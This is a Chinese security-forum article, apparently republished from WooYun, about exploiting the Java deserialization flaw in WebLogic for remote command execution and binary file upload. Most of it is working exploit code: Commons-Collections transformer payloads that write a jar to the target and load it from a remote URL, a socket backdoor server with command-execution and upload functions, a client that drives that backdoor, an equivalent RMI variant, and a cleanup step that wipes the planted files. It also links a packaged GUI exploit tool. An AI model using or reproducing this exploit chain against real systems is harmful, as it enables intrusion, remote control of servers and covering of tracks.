11

WebLogic之Java反序列化漏洞利用实现二进制文件上传和命令执行 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

WebLogic之Java反序列化漏洞利用实现二进制文件上传和命令执行

0x00 简介


Java反序列化漏洞由来已久,在WebLogic和JBoss等著名服务器上都曝出存在此漏洞。FoxGlove Security安全团队的breenmachine给出了详细的分析,但没有给出更近一步的利用方式。前段时间rebeyond在不需要连接公网的情况下使用RMI的方式在WebLogic上实现了文本文件上传和命令执行,但没有实现二进制文件上传。我通过使用Socket的方式实现了二进制文件上传和命令执行,同时也实现了RMI方式的二进制文件。

0x01 思路


首先发Payload在目标服务器中写入一个Socket实现的迷你服务器类,所有的功能都将由这个迷你服务器来执行,然后再发一个Payload来启动服务器,最后本地客户端创建Socket连接的方式向服务器发送请求来使用相应的功能,其中上传二进制文件我采用分块传输的思想,这样可以实现上传较大的文件。

  1. 本地创建Socket实现的迷你服务器类并导出jar包
  2. 把jar包上传至目标服务器
  3. 启动目标服务器上的迷你服务器
  4. 使用二进制文件上传和命令执行功能
  5. 发送关闭请求,清理目标服务器残留文件

0x02 实现


1.本地创建Socket实现的迷你服务器类并导出jar包

#!java
public class Server {

    /**
     * 启动服务器
     * @param port
     * @param path
     */
    public static void start(int port, String path) {
        ServerSocket server = null;
        Socket client = null;
        InputStream input = null;
        OutputStream out = null;
        Runtime runTime = Runtime.getRuntime();
        try {
            server = new ServerSocket(port);
            // 0表示功能模式 1表示传输模式
            int opcode = 0;
            int len = 0;
            byte[] data = new byte[100 * 1024];
            String uploadPath = "";
            boolean isUploadStart = false;
            client = server.accept();
            input = client.getInputStream();
            out = client.getOutputStream();
            byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };
            while (true) {
                len = input.read(data);
                if (len != -1) {
                    if (opcode == 0) {
                        // 功能模式
                        String operation = new String(data, 0, len);
                        String[] receive = operation.split(":::");
                        if ("bye".equals(receive[0])) {
                            // 断开连接 关闭服务器
                            out.write("success".getBytes());
                            out.flush();
                            FileOutputStream outputStream = new FileOutputStream(path);
                            // 清理残留文件
                            outputStream.write("".getBytes());
                            outputStream.flush();
                            outputStream.close();
                            break;
                        } else if ("cmd".equals(receive[0])) {
                            // 执行命令 返回结果
                            try {
                                Process proc = runTime.exec(receive[1]);
                                InputStream in = proc.getInputStream();
                                byte[] procData = new byte[1024];
                                byte[] total = new byte[0];
                                int procDataLen = 0;
                                while ((procDataLen = in.read(procData)) != -1) {
                                    byte[] temp = new byte[procDataLen];
                                    for (int i = 0; i < procDataLen; i++) {
                                        temp[i] = procData[i];
                                    }
                                    total = byteMerger(total, temp);
                                }
                                if (total.length == 0) {
                                    out.write("error".getBytes());
                                } else {
                                    out.write(total);
                                }
                                out.flush();
                            } catch (Exception e) {
                                e.printStackTrace();
                                out.write("error".getBytes());
                                out.flush();
                            }
                        } else if ("upload".equals(receive[0])) {
                            // 切换成传输模式
                            uploadPath = receive[1];
                            isUploadStart = true;
                            opcode = 1;
                        }
                    } else if (opcode == 1) {
                        // 传输模式
                        byte[] receive = new byte[len];
                        for (int i = 0; i < len; i++) {
                            receive[i] = data[i];
                        }
                        if (Arrays.equals(overData, receive)) {
                            // 传输结束切换成功能模式
                            isUploadStart = false;
                            opcode = 0;
                        } else {
                            // 分块接收
                            FileOutputStream outputStream = null;
                            if (isUploadStart) {
                                // 接收文件的开头部分
                                outputStream = new FileOutputStream(uploadPath, false);
                                outputStream.write(receive);
                                isUploadStart = false;
                            } else {
                                // 接收文件的结束部分
                                outputStream = new FileOutputStream(uploadPath, true);
                                outputStream.write(receive);
                            }
                            outputStream.close();
                        }
                    }
                } else {
                    Thread.sleep(1000);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
            try {
                out.write("error".getBytes());
                out.flush();
            } catch (IOException e1) {
                e1.printStackTrace();
            }
        } finally {
            try {
                client.close();
                server.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    /**
     * 合并字节数组
     * @param byte_1
     * @param byte_2
     * @return 合并后的数组
     */
    private static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
        byte[] byte_3 = new byte[byte_1.length + byte_2.length];
        System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
        System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
        return byte_3;
    }

}

编译并导出jar包

2.发送Payload把jar包上传至服务器

这里我要特别说明一点,breenmachine在介绍WebLogic漏洞利用时特别说明了需要计算Payload的长度,但是我看到过的国内文章没有一篇提到这一点,给出的利用代码中的Payload长度值写的都是原作者的09f3,我觉得这也是导致漏洞利用失败的主要原因之一,因此发送Payload前最好计算下长度。

A very important point about the first chunk of the payload. Notice the first 4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload length in bytes.

Payload的长度值可以在一个范围内,我们团队的cf_hb经过fuzz测试得到几个范围值:

  1. poc访问指定url:0x0000-0x1e39
  2. 反弹shell:0x000-0x2049
  3. 执行命令calc.exe:0x0000-0x1d38

这一步生成上传jar包的Payload

#!java
public static byte[] generateServerPayload(String remotePath) throws Exception {
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(FileOutputStream.class),
            new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[] { String.class } }),
            new InvokerTransformer("newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new Object[] { remotePath } }),
            new InvokerTransformer("write", new Class[] { byte[].class },
                    new Object[] { Utils.hexStringToBytes(SERVER_JAR) }),
            new ConstantTransformer(1) };
    return generateObject(transformers);
}

发送到目标服务器写入jar包

3.发送Payload启动目标服务器上的迷你服务器

生成启动服务器的Payload

#!java
public static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception {
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(URLClassLoader.class),
            new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[] { URL[].class } }),
            new InvokerTransformer("newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new Object[] { new URL[] { new URL(remoteClassPath) } } }),
            new InvokerTransformer("loadClass",
                    new Class[] { String.class },
                    new Object[] { "org.heysec.exp.Server" }),
            new InvokerTransformer("getMethod",
                    new Class[] { String.class, Class[].class },
                    new Object[] { "start", new Class[] { int.class, String.class } }),
            new InvokerTransformer("invoke",
                    new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[] { port, remotePath } }) };
    return generateObject(transformers);
}

发送到目标服务器启动迷你服务器

4.使用二进制文件上传和命令执行功能

本地测试客户端的代码

#!java
public class Client {
    public static void main(String[] args) {
        Socket client = null;
        InputStream input = null;
        OutputStream output = null;
        FileInputStream fileInputStream = null;
        try {
            int len = 0;
            byte[] receiveData = new byte[5 * 1024];
            byte[] sendData = new byte[100 * 1024];
            int sendLen = 0;
            byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };

            // 创建客户端Socket
            client = new Socket("10.10.10.129", 8080);
            input = client.getInputStream();
            output = client.getOutputStream();

            // 发送准备上传文件命令使服务器切换到传输模式
            output.write("upload:::test.zip".getBytes());
            output.flush();
            Thread.sleep(1000);

            // 分块传输文件
            fileInputStream = new FileInputStream("F:/安全集/tools/BurpSuite_pro_v1.6.27.zip");
            sendLen = fileInputStream.read(sendData);
            if (sendLen != -1) {
                output.write(Arrays.copyOfRange(sendData, 0, sendLen));
                output.flush();
                Thread.sleep(1000);
                while ((sendLen = fileInputStream.read(sendData)) != -1) {
                    output.write(Arrays.copyOfRange(sendData, 0, sendLen));
                    output.flush();
                }
            }
            Thread.sleep(1000);

            // 发送文件上传结束命令
            output.write(overData);
            output.flush();
            Thread.sleep(1000);

            // 执行命令
            output.write("cmd:::cmd /c dir".getBytes());
            output.flush();
            Thread.sleep(1000);

            // 接收返回结果
            len = input.read(receiveData);
            String result = new String(receiveData, 0, len, "GBK");
            System.out.println(result);
            Thread.sleep(1000);

            // 关闭服务器
            output.write("bye".getBytes());
            output.flush();
            Thread.sleep(1000);

            len = input.read(receiveData);
            System.out.println(new String(receiveData, 0, len));
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                fileInputStream.close();
                client.close();
            } catch (Exception e) {
                e.printStackTrace();
            }

        }
    }
}

测试结果1 图片1

测试结果2 图片2

5. 发送关闭请求清理残留文件

客户端发送关闭请求

#!java
output.write("bye".getBytes());
output.flush();

服务器清除残留文件并关闭

#!java
if ("bye".equals(receive[0])) {
    // 断开连接 关闭服务器
    out.write("success".getBytes());
    out.flush();
    FileOutputStream outputStream = new FileOutputStream(path);
    // 清理残留文件
    outputStream.write("".getBytes());
    outputStream.flush();
    outputStream.close();
    break;
}

这就是按照我的思路实现的全部过程

0x03 RMI方式实现二进制文件上传及优化流程


这部分只是对rebeyond的利用方式进行了扩展,添加了二进制文件上传的功能以及优化了流程。

扩展的远程类

#!java
public class RemoteObjectImpl implements RemoteObject {

    /**
     * 分块上传文件
     */
    public boolean upload(String uploadPath, byte[] data, boolean append) {
        FileOutputStream out = null;
        try {
            out = new FileOutputStream(uploadPath, append);
            out.write(data);
            return true;
        } catch (Exception e) {
            e.printStackTrace();
            return false;
        } finally {
            try {
                out.close();
            } catch (Exception e) {
                e.printStackTrace();
                return false;
            }
        }
    }

    /**
     * 执行命令
     */
    public String exec(String cmd) {
        try {
            Process proc = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(
                    proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            String result;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            result = sb.toString();
            if ("".equals(result)) {
                return "error";
            } else {
                return result;
            }
        } catch (Exception e) {
            e.printStackTrace();
            return "error";
        }
    }

    /**
     * 反注册远程类并清除残留文件
     */
    public void unbind(String path) {
        try {
            Context ctx = new InitialContext();
            ctx.unbind("RemoteObject");
        } catch (Exception e) {
            e.printStackTrace();
        }
        FileOutputStream out = null;
        File file = null;
        try {
            file = new File(path);
            out = new FileOutputStream(file);
            out.write("".getBytes());
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                out.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

    }

    /**
     * 注册远程类
     */
    public static void bind() {
        try {
            RemoteObjectImpl remote = new RemoteObjectImpl();
            Context ctx = new InitialContext();
            ctx.bind("RemoteObject", remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这样最后反注册和清除残留文件的时候就不需要再发送Payload了,只要调用远程类的unbind方法就行。

0x04 Socket VS RMI


VS Socket RMI
端口 需要额外端口可能被防火墙拦截 使用WebLogic本身端口
传输速率 通过Socket字节流较快 通过远程过程调用较慢

0x05 总结


这里以创建Socket服务器的思想实现了漏洞利用,我们可以继续扩展服务器的功能,甚至其他的代码执行漏洞也可以尝试这种方式,在传输较大文件时建议优先使用Socket方式。最后,我开发了GUI程序集成了Socket和RMI两种利用方式,大家可以自主选择。

Socket利用方式 图片3

RMI利用方式 图片4

下载链接:http://pan.baidu.com/s/1pKuR9GJ 密码:62x4

0x06 参考链接


  1. http://www.freebuf.com/vuls/90802.html
  2. http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK